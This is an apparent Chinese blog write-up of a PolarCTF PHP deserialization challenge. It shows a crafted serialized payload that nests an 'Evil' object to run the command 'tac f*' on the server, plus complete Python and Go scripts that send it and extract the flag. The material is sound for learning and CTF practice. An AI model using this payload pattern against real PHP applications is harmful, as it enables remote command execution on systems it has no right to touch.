Polar Web【简单】PHP反序列化初试

Polar Web【简单】PHP反序列化初试

Contents

思路

启动环境,显示下图中的PHP代码,于是展开分析:

  1. 首先发现Easy类中有魔术函数 __wakeup() ,实现的是对成员变量 $name 的回显。
  2. 观察下方发现, unserialize() 函数将触发该魔术函数的执行,因此考虑构造序列字符串传入该类的成员变量 $name 中,以触发命令执行。
  • 本题分别使用手动注入和脚本运行两种方式进行解答。

EXP

手动


脚本

Python
python 复制代码
import requests


def attack(url, payload):
    url += payload
    res = (requests.get(url).content.decode('utf8'))
    if res:
        print(res[res.rindex('flag'):res.rindex('"')])


if __name__ == '__main__':
    site = 'http://~.www.polarctf.com:8090/'
    pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'
    attack(site, pl)
Go
go 复制代码
package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"strings"
)

func attack(url string) {
	//fmt.Println("url:", url)
	if resp, err := http.Get(url); err != nil {
		panic("GET ERR: " + err.Error())
	} else {
		out, _ := ioutil.ReadAll(resp.Body)
		ans := string(out)
		fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "\"")])
	}
}

func main() {
	baseURL := "http://~.www.polarctf.com:8090/"
	// 解析基础 URL
	u, err := url.Parse(baseURL)
	if err != nil {
		panic(err)
	}
	// 解析查询字符串
	q, err := url.ParseQuery(u.RawQuery)
	if err != nil {
		panic(err)
	}
	// 添加或更新查询参数
	q.Set("easy", "O:4:\"Easy\":1:{s:4:\"name\";O:4:\"Evil\":2:{s:4:\"evil\";s:6:\"tac f*\";s:3:\"env\";N;}}")
	// 编码查询字符串
	u.RawQuery = q.Encode()
	attack(u.String())
}
  • !注意 !在Go语言中,为了防止特殊的字符导致URL被截断引发HTTP请求异常,需要对原生URL进行编码处理

运行&总结

  • 本题考查PHP代码分析、反序列化以及序列构造的技巧
  • 需要对PHP面向对象设计有所认识

敬,不完美的明天

相关推荐
还是奇怪39 分钟前
Linux - 安全排查 2
linux·运维·安全
ejinxian3 小时前
PHP 超文本预处理器 发布 8.5 版本
开发语言·php
zorro_z4 小时前
PHP语法基础篇(九):正则表达式
php
Clownseven6 小时前
云端备份与恢复策略:企业如何选择最安全的备份解决方案
安全
薄荷椰果抹茶9 小时前
【网络安全基础】第六章---Web安全需求
安全·web安全
SuperherRo14 小时前
WEB攻防-文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
php·文件包含·伪协议·lfi·无文件·黑白盒·rfi
HumanRisk16 小时前
降低网络安全中的人为风险:以人为本的路径
网络·安全·web安全
运维开发王义杰17 小时前
金融安全生命线:用AWS EventBridge和CloudTrail构建主动式入侵检测系统
安全·金融·aws
安全系统学习19 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
加密狗复制模拟20 小时前
坚石ET ARM加密狗复制模拟介绍
安全·软件工程·个人开发